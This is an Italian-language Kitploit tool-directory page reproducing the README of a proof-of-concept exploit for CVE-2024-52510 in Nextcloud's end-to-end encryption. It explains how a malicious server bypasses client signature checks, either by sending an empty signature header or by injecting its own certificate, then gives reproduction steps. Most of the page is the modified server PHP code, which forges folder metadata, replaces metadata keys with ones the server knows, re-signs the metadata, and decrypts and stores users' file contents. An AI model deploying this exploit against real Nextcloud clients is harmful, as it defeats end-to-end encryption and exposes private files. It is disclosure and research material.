Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-52510 — Exploit proof-of-concept per CVE-2024-52510 che dimostra il bypass della firma nel protocollo E2EEv2 di Nextcloud, consentendo la decrittazione lato server di file crittografati tramite iniezione di chiavi nei metadati. | Kitploit
Strumenti/GitHubGitHub/d-xuan/cve-2024-52510
Strumenti di Crittografia/DecrittografiaAnalisi delle VulnerabilitàExploitCrittografiaPenetration TestingSicurezza Cloud
GitHubd-xuan/cve-2024-52510

CVE-2024-52510

Exploit proof-of-concept per CVE-2024-52510 che dimostra il bypass della firma nel protocollo E2EEv2 di Nextcloud, consentendo la decrittazione lato server di file crittografati tramite iniezione di chiavi nei metadati.

Vedi Repository
2782 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

POC di bypass di X-E2EE-SIGNATURE di Nextcloud

Riepilogo

  • Durante il normale funzionamento del protocollo E2EEv2 di Nextcloud, i client firmano crittograficamente i metadati delle cartelle prima di caricarli sul server. Questo garantisce che i metadati non siano stati manomessi quando vengono recuperati per scopi di condivisione dei file o sincronizzazione delle modifiche.

  • La verifica della firma viene eseguita dal client in foldermetadata.cpp:177 quando i metadati recuperati vengono inizializzati. Tuttavia, ci sono due modi con cui un server malevolo può bypassare questo controllo:

    • Può rispondere con un header di risposta X-E2EE-SIGNATURE vuoto. Poiché l'header è vuoto, la condizione in foldermetadata.cpp:168 fa sì che la verifica della firma non avvenga, e i metadati alterati vengono accettati dal client.

    • Può iniettare un certificato nell'array JSON users, e poi firmare i metadati con quel certificato. Poiché CMS_NO_SIGNER_CERT_VERIFY viene passato in clientsideencryption.cpp:941, il certificato di firma non viene verificato a catena e il client controlla solo che il certificato di firma sia presente nel vettore certificatePems (clientsideencryption.cpp:955-971) che è controllato dal server.

  • In questo POC dimostreremo quest'ultimo metodo in quanto è il più difficile da implementare, tuttavia entrambi sono stati testati e funzionano.

  • Un server malevolo può utilizzare questo bypass per fornire ai client chiavi di metadati note al server. I client useranno quindi questa chiave di metadati per crittografare i file successivi, permettendo al server di decrittare e leggere i file in cartelle crittografate end-to-end.

    Questo modo di sfruttare il bypass della firma si basa su un attacco trovato da Albrecht, Backendal, Coppola, Paterson nel 2023 (https://eprint.iacr.org/2024/546) su una versione precedente del protocollo E2EE. In effetti, l'autenticazione delle chiavi di metadati era una strategia di mitigazione per l'attacco (vedere la sezione 5.1 del documento collegato).

Passi per riprodurre

  1. Clona questo repository e aprilo in VS Code usando l'estensione DevContainer. È stato fornito un DevContainer basato su quello del repository del server Nextcloud con le seguenti modifiche:

    • Per scopi di debug, un proxy inverso mitmproxy è presente sulla porta 7001. L'interfaccia web è accessibile sulla porta 7002.
    • Durante l'installazione del server Nextcloud, verranno abilitate anche le app encryption e end_to_end_encryption, e verrà creato un account con nome utente e password sharer.
  2. Una volta che il server è attivo, connettiti ad esso all'indirizzo http://localhost:8000 (o tramite il proxy inverso a http://localhost:7001) usando l'ultimo client. Attualmente ho testato questo sulla v3.13.2 AppImage.

root@kitploit:~
sha256sum Nextcloud-3.13.2-x86_64.AppImage 
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2  Nextcloud-3.13.2-x86_64.AppImage
  1. Quando richiesto, accedi con nome utente sharer e password sharer. Accetta le opzioni di sincronizzazione predefinite (creazione di una directory ~/Nextcloud/ con welcome.txt al suo interno) e configura la crittografia end-to-end nelle impostazioni del client Nextcloud.

  2. Crea una nuova cartella encrypted_folder all'interno della directory ~/Nextcloud. Nelle impostazioni del client Nextcloud, segna questa cartella come crittografata.

  1. All'interno di Nextcloud/encrypted_folder, crea un semplice file di testo e attendi che venga sincronizzato.
root@kitploit:~
# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
  1. Accedi al database Postgres in Adminer all'indirizzo http://localhost:8080/ utilizzando le credenziali:

    • Username: postgres
    • Password: postgres
    • Database: postgres

e naviga verso le tabelle oc_e2e_encryption_metadata e oc_e2e_encryption_decrypted. Dovresti essere in grado di vedere i metadati decrittati e il contenuto del file in chiaro.

Negli screenshot sopra sono stati creati ed eliminati un paio di file di test extra, quindi saranno leggermente diversi da ciò che vedi

Dettagli tecnici

Questo repository è basato sui repository Nextcloud server e app di crittografia end-to-end. La maggior parte del codice rimane invariata, quindi cercherò di spiegare cosa è stato modificato.

In primo luogo, il metodo getMetadata di MetaDataStorage.php è stato alterato per manomettere i metadati restituiti chiamando un nuovo metodo getFakeUserMetadata.

root@kitploit:~
--- original/lib/MetaDataStorage.php	2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php	2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
 			return $legacyFile->getContent();
 		}
 
-		$folderName = $this->getFolderNameForFileId($id);
-		$folder = $this->appData->getFolder($folderName);
+		$metaData = $this->getFakeUserMetadata($id);
 
-		return $folder
-			->getFile($this->metaDataFileName)
-			->getContent();
+		return $metaData;
 	}

Nel metodo getFakeUserMetadata, iniettiamo prima un certificato scelto nella chiave JSON users. Questo per facilitare la contraffazione della firma.

root@kitploit:~
	private function getFakeUserMetadata(int $id): string {
		$folderName = $this->getFolderNameForFileId($id);
		$folder = $this->appData->getFolder($folderName);

		$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());

		if (is_null($metaData->users)) {
			/* This is a non-root metadata. Return as normal*/
			return json_encode($metaData);
		}
				
		/* 
		 * Step 1: Inject a fake public key into the metadata
		 * This can be used to forge a signature for the response.
		 */
		$found = false;
		foreach ($metaData->users as $userData) {
			if ($userData->userId === $this->fakeUserId) {
				$found = true;
				break;
			}
		}
		if (!$found) {
			try {
				$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
				$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
				$pemCertificate = $certificateFile->getContent();
			} catch (NotFoundException $e) {
				/* Create a new private key for the fake user */
				$privateKey = openssl_pkey_new();
				openssl_pkey_export($privateKey, $privateKeyPem);
				$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);

				/* Client is expecting a certificate for the public key */
				$csr = openssl_csr_new(array(), $privateKey);
				$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
				openssl_x509_export($certificate, $pemCertificate);
				$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
			}

			$newUser = new \stdClass();
			$newUser->certificate = $pemCertificate;
			array_push($metaData->users, $newUser); 
		}

Poi, dato che abbiamo accesso alla chiave pubblica del client, possiamo crittografare le nostre chiavi e sostituire le chiavi di metadati crittografate con chiavi che controlliamo.

root@kitploit:~
		/* 
	 	 * Step 2: Change all the metadata keys to keys that we control.
		 */
		foreach ($metaData->users as $userData) {
			$publicKey = PublicKeyLoader::load($userData->certificate)->withHash('sha256')->withMGFHash('sha256');
			$fakeEncryptedMetadataKey = $publicKey->encrypt($this->fakeMetadataKey);
			$userData->encryptedMetadataKey = base64_encode($fakeEncryptedMetadataKey);
		}	

		/* We need to set userId after setting encryptedMetadataKey, as Qt will serialize json keys in alphabetical order */
		if (!is_null($newUser)) {
			$newUser->userId = $this->fakeUserId;
		}

Poiché abbiamo manomesso le chiavi di metadati, dovremo modificare anche il ciphertext. Se abbiamo già eseguito l'attacco con successo, avremo accesso ai metadati reali che possiamo ri-crittografare. Altrimenti inizializzeremo un oggetto metadati vuoto e lo crittograferemo.

root@kitploit:~
		/* 
		 * Step 3: Replace the encrypted metadata with one that can be decrypted under the new key.
		 * Then as long as we don't trigger a downsync, the next PUT will 
		 * contain metadata encrypted with a key known to us.
		 */
		$fakeMetadata = new \stdClass();
		$fakeMetadata->folders = new \stdClass();
		$fakeMetadata->files = new \stdClass();

		try {
			$metadataEntities = $this->metadataMapper->getByFolderId($id);
			foreach ($metadataEntities as $metadataEntity) {
				$encryptedFilename = $metadataEntity->getEncryptedFilename();
				if ($metadataEntity->isDirectory()) {
					$fakeMetadata->folders->$encryptedFilename = $metadataEntity->toJson();
				} else {
					$fakeMetadata->files->$encryptedFilename = $metadataEntity->toJson();
				}
			}
		} catch (DoesNotExistException $ex) {
			/* Return empty metadata */
		}

		$fakeMetadata->counter = $this->getCounter($id);
		/* keyChecksums needs to contain the SHA256 of the decrypted metadata key (in hex) */
		$fakeMetadata->keyChecksums = array();
		array_push($fakeMetadata->keyChecksums, hash("sha256", $this->fakeMetadataKey));

		/* Then the AES-128-GCM ciphertext of the gzipped json object goes into the response */
		$plaintext = gzencode(json_encode($fakeMetadata));
		$nonce = openssl_random_pseudo_bytes(16);
		$ciphertext = openssl_encrypt($plaintext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);

		$metaData->metadata->authenticationTag = base64_encode($authenticationTag);
		$metaData->metadata->ciphertext = base64_encode($ciphertext . $authenticationTag) . "|" . base64_encode($nonce);
		$metaData->metadata->nonce = base64_encode($nonce);

		$metaData = json_encode($metaData, JSON_UNESCAPED_SLASHES);
		
		/* Ensure whatever metadata we return syncs up with what is stored on disk */
		$folder->getFile($this->metaDataFileName)->putContent($metaData);

Infine, prendiamo il payload JSON manomesso e lo firmiamo nuovamente con il nostro certificato. Un'alternativa sarebbe anche usare una firma vuota qui.

root@kitploit:~
		/* Note: We only need to forge a signature for root metadata */
		$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
		$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);

		$pemCertificate = $certificateFile->getContent();
		$privateKey = openssl_pkey_get_private($privateKeyFile->getContent());
		
		$signatureTempFile = tempnam(sys_get_temp_dir(), "signature");
		$metadataTempFile = tempnam(sys_get_Temp_dir(), "metadata");
		file_put_contents($metadataTempFile, base64_encode($metaData));
		if (openssl_cms_sign($metadataTempFile, $signatureTempFile, $pemCertificate, $privateKey, array(), 0, OPENSSL_ENCODING_DER)) {
			$signature = base64_encode(file_get_contents($signatureTempFile));
			$this->writeSignature($folder, $this->metaDataSignatureFileName, $signature);
		} else {
			$this->writeSignature($folder, $this->metaDataSignatureFileName, "");
		}
		unlink($signatureTempFile);
		unlink($metadataTempFile);

		return $metaData;
	}

Una volta che i metadati sono stati manomessi, il client userà la nostra chiave di crittografia per crittografare qualsiasi nuovo metadato. Alla ricezione di nuovi metadati, proviamo a decrittarli usando la nostra chiave.

root@kitploit:~
--- original/lib/Controller/MetaDataController.php	2024-07-11 23:38:16.102492800 +1000
+++ nc-server/apps/end_to_end_encryption/lib/Controller/MetaDataController.php	2024-07-11 20:54:06.794689137 +1000
@@ -164,9 +170,11 @@
 		}
 
 		if ($this->lockManager->isLocked($id, $e2eToken, null, true)) {
 			throw new OCSForbiddenException($this->l10n->t('You are not allowed to edit the file, make sure to first lock it, and then send the right token'));
 		}
 
+		$this->metaDataStorage->decryptMetaData($id, $metaData);
+
 		try {
 			$this->metaDataStorage->updateMetaDataIntoIntermediateFile($this->userId, $id, $metaData, $e2eToken, $signature);
 		} catch (MissingMetaDataException $e) {
root@kitploit:~
	public function decryptMetaData(int $id, string $metaData) {
		$this->verifyFolderStructure();

		$folderName = $this->getFolderNameForFileId($id);
		$folder = $this->appData->getFolder($folderName);

		/* Try to decrypt the incoming metadata with our fake key */
		$metaData = json_decode($metaData);
		$authenticationTag = base64_decode($metaData->metadata->authenticationTag);
		$ciphertextAndTag = base64_decode(explode("|", $metaData->metadata->ciphertext)[0]);
		$ciphertext = substr($ciphertextAndTag, 0, -16);
		$nonce = base64_decode($metaData->metadata->nonce);
		$gzippedPlaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);

		/* If we succeed, store the decrypted metadata */
		if ($gzippedPlaintext) {
			$decodedMetadata = json_decode(gzdecode($gzippedPlaintext));
			foreach ($decodedMetadata->files as $encryptedFilename => $file) {
				try {
					$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
					$metadataEntity->setEncryptedFilename($encryptedFilename);
					$metadataEntity->setKey($file->key);
					$metadataEntity->setKey($file->key);
					$metadataEntity->setNonce($file->nonce);
					$metadataEntity->setAuthenticationTag($file->authenticationTag);
					$metadataEntity->setFilename($file->filename);
					$this->metadataMapper->update($metadataEntity);
				} catch (DoesNotExistException $ex) {
					$newMetadata = new Metadata();
					$newMetadata->setFolderId($id);
					$newMetadata->setEncryptedFilename($encryptedFilename);
					$newMetadata->setKey($file->key);
					$newMetadata->setNonce($file->nonce);
					$newMetadata->setAuthenticationTag($file->authenticationTag);
					$newMetadata->setFilename($file->filename);
					$this->metadataMapper->insert($newMetadata);
				}
			}
			foreach ($decodedMetadata->folders as $encryptedFilename => $filename) {
				try {
					$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
					$metadataEntity->setFilename($filename);
					$this->metadataMapper->update($metadataEntity);
				} catch (DoesNotExistException $ex) {
					$newMetadata = new Metadata();
					$newMetadata->setFolderId($id);
					$newMetadata->setEncryptedFilename($encryptedFilename);
					$newMetadata->setFilename($filename);
					$this->metadataMapper->insert($newMetadata);
				}
			}
		}
	}

Infine, creiamo un listener per quando viene creato un nuovo file e proviamo a decrittare usando le chiavi del file trovate nei metadati decrittati.

root@kitploit:~
class NodeCreatedListener implements IEventListener {
	private MetadataMapper $metadataMapper;
	private PlaintextMapper $plaintextMapper;

	public function __construct(MetadataMapper $metadataMapper, PlaintextMapper $plaintextMapper) {
		$this->metadataMapper = $metadataMapper;
		$this->plaintextMapper = $plaintextMapper;
	}

	public function handle(Event $event): void {
		if (!($event instanceof NodeCreatedEvent)) {
			return;
		}

		$node = $event->getNode();
		$encryptedFilename = preg_replace('/\.e2e-to-save$/', '', $node->getName());
		if ($node instanceof File) {
			$curr = $node;
			while (!($curr instanceof Root)) {
				$curr = $curr->getParent();
				$id = $curr->getId();

				try {
					$metadata = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
				} catch (DoesNotExistException $ex) {
					continue;
				}

				/* Metadata found: try to decrypt */
				$key = base64_decode($metadata->getKey());
				$nonce = base64_decode($metadata->getNonce());
				$authenticationTag = base64_decode($metadata->getAuthenticationTag());
				$ciphertext = substr($node->getContent(), 0, -16);
				$plaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, $nonce, $authenticationTag);

				if ($plaintext) {
					/* Decryption successful. Store in DB */
					try {
						$plaintextEntity = $this->plaintextMapper->getById($metadata->getId());
						$plaintextEntity->setPlaintext($plaintext);
						$this->plaintextMapper->update($plaintextEntity);
					} catch (DoesNotExistException $ex) {
						$plaintextEntity = new Plaintext();
						$plaintextEntity->setId($metadata->getId());
						$plaintextEntity->setPlaintext($plaintext);
						$this->plaintextMapper->insert($plaintextEntity);
					}
					break;
				}
			}
		}
	}
}
Scarica lo strumento